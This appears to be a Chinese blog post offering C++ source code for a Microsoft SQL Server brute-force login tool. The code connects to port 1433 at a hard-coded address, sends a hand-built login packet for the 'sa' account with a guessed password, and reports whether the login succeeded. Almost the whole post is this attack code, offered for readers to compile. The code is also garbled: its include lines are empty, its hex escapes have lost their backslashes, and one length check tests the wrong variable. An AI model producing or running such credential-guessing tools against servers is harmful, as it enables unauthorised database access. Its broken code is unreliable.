Mssql爆破工具源码

Windows C++版 这篇文章不是更新的Mssql爆破工具的软件成品，而是这款软件的源代码，大家可以自己去下载C++，然后将下面的代码丢进去，其中的原理，我也分了段来一次介绍的。不懂得可以联系站长，网站首页有站长的联系方式！站长设置了不可复制，大家可以去本站注册一个会员，然后就可以无视这个权限啦！

// MssqlCrake.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include 
#include
#pragma comment(lib,"ws2_32.lib")
//定义socket客户端.
SOCKET m_client = INVALID_SOCKET;
#define MSSQLPORT 1433
#define MSLEN 30
//////////////////////////////////////////////////////////////////////////
char name[] = "sa";
char pass[] = "123123123";
/////////////////////////////函数声明/////////////////////////////////////
bool Init_Socket(char* rhost, int rport);
int Send_Payload(SOCKET s, char* user_name, char* pass_word);
//////////////////////////////////////////////////////////////////////////
unsigned char p_hdr[] =
"x02x00x02x00x00x00x02x00x00x00" "x00x00x00x00x00x00x00x00x00x00" "x00x00x00x00x00x00x00x00x00x00" "x00x00x00x00x00x00x00x00x00";
unsigned char p_pk2[] =
"x30x30x30x30x30x30x61x30x00x00"
"x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x20x18x81xb8x2cx08x03"
"x01x06x0ax09x01x01x00x00x00x00x00"
"x00x00x00x00x73x71x75x65x6cx64x61"
"x20x31x2ex30x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00"
"x00x0bx00x00x00x00x00x00x00x00x00" "x00x00x00x00x00x00x00x00x00x00x00" "x00x00x00x00x00x00x00x00x00x00x00" "x00";
unsigned char p_pk3[] =
"x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x04x02x00x00x4dx53x44"
"x42x4cx49x42x00x00x00x07x06x00x00" "x00x00x0dx11x00x00x00x00x00x00x00" "x00x00x00x00x00x00x00x00x00x00x00" "x00x00x00x00x00x00";
unsigned char p_lng[] =
"x02x01x00x47x00x00x02x00x00x00x00"
"x00x00x00x00x01x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00" "x00x00x00x00x00x00x00x00x00x00x00" "x00x00x00x00x00x00x30x30x30x00x00" "x00x03x00x00x00";
/*****************************************************************************
* @函 数 名 : main主函数
* @函数简介 : 
* @方法作者 : ZombieBoy
* @创建日期 : 2018/1/18 15:05
* @方法参数 :
* @返 回 值 :
* @源码来自志在指尖
* @源码来自志在指尖 http://www.zzzjtd.com
*****************************************************************************/
int _tmain(int argc, _TCHAR* argv[])
{
 if (Init_Socket("192.168.1.206",MSSQLPORT))
 {
 int r_val = Send_Payload(m_client, name, pass);
 if (0 == r_val){ printf("[*]爆破成功 用户名为：%s 密码为：%s.n", name, pass); }
 else{ printf("[-]爆破失败.n"); }
 if (INVALID_SOCKET != m_client) { closesocket(m_client); }
 WSACleanup();
 }
 return 0;
}
/*****************************************************************************
* @函 数 名 : Init_Socket
* @函数简介 : 初始化客户端socket并连接
* @方法作者 : ZombieBoy
* @创建日期 : 2018/1/18 15:02
* @方法参数 : 远程ip地址 && 端口
* @返 回 值 : 成功返回真，失败返回假
* @源码来自志在指尖
* @源码来自志在指尖 http://www.zzzjtd.com
*****************************************************************************/
bool Init_Socket(char* rhost, int rport)
{
 WSAData rdata = { 0 };
 if (WSAStartup(MAKEWORD(2, 2), &rdata)) return false;
do 
 {
 m_client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 if (INVALID_SOCKET==m_client) break;
sockaddr_in raddr = { 0 };
 raddr.sin_family = AF_INET;
 raddr.sin_port = htons(rport);
 raddr.sin_addr.S_un.S_addr = inet_addr(rhost);
if (SOCKET_ERROR == connect(m_client, (sockaddr*)&raddr, sizeof(sockaddr_in))) break;
 return true;
} while (false);
if (m_client != INVALID_SOCKET){ closesocket(m_client); }
 WSACleanup();
 return false;
}
/*****************************************************************************
* @函 数 名 : Send_Payload
* @函数简介 : 构造并发送登陆payload
* @方法作者 : ZombieBoy
* @创建日期 : 2018/1/18 15:00
* @方法参数 : 客户端socket，用户名，密码
* @返 回 值 : 成功返回0，失败返回-1
*****************************************************************************/
int Send_Payload(SOCKET s, char* user_name, char* pass_word)
{
 unsigned char len_user = strlen(user_name);
 unsigned char len_pass = strlen(pass_word);
if (len_user <= 0) return -1;
 if (len_user <= 0) return -1; if (len_user > MSLEN){ user_name[MSLEN - 1] = 0; }
 if (len_user > MSLEN){ pass_word[MSLEN - 1] = 0; }
char ms_user[MSLEN + 1] = { 0 };
 char ms_pass[MSLEN + 1] = { 0 };
 memcpy(ms_user, user_name, len_user);
 memcpy(ms_pass, pass_word, len_pass);
char buffer[1024] = { 0 };
 memcpy(buffer, p_hdr, 39);
 memcpy(buffer + 39, ms_user, MSLEN);
 memcpy(buffer + MSLEN + 39, &len_user, 1);
 memcpy(buffer + MSLEN + 1 + 39, ms_pass, MSLEN);
 memcpy(buffer + MSLEN + 1 + 39 + MSLEN, &len_pass, 1);
 memcpy(buffer + MSLEN + 1 + 39 + MSLEN + 1, p_pk2, 110);
 memcpy(buffer + MSLEN + 1 + 39 + MSLEN + 1 + 110, &len_pass, 1);
 memcpy(buffer + MSLEN + 1 + 39 + MSLEN + 1 + 110 + 1, ms_pass, MSLEN);
 memcpy(buffer + MSLEN + 1 + 39 + MSLEN + 1 + 110 + 1 + MSLEN, p_pk3, 270);
int s_val = send(s, buffer, MSLEN + 1 + 39 + MSLEN + 1 + 110 + 1 + MSLEN + 270, 0);
 if (s_val <= 0) return -1;
 s_val = send(s, (char*)p_lng, 71, 0);
 if (s_val <= 0) return -1;
memset(buffer, 0, 1024);
 int r_val = recv(s, buffer, 1024, 0);
 if (r_val <= 0) return -1; if ((r_val > 10 && buffer[8] == 'xe3')) return 0;
 return -1;
}